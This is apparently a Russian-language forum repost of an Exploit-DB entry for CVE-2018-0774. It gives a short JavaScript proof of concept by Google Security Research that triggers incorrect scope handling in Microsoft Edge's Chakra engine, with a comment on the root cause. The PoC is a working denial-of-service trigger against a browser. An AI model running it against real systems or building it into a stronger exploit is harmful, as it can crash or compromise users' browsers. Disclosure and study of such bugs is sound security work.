Exploit Microsoft Edge Chakra - Incorrect Scope Handling

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43715
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2018-0774
Дата публикации
2018-01-17
Microsoft Edge Chakra - Incorrect Scope Handling
Код:
// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
 
Источник
www.exploit-db.com

Похожие темы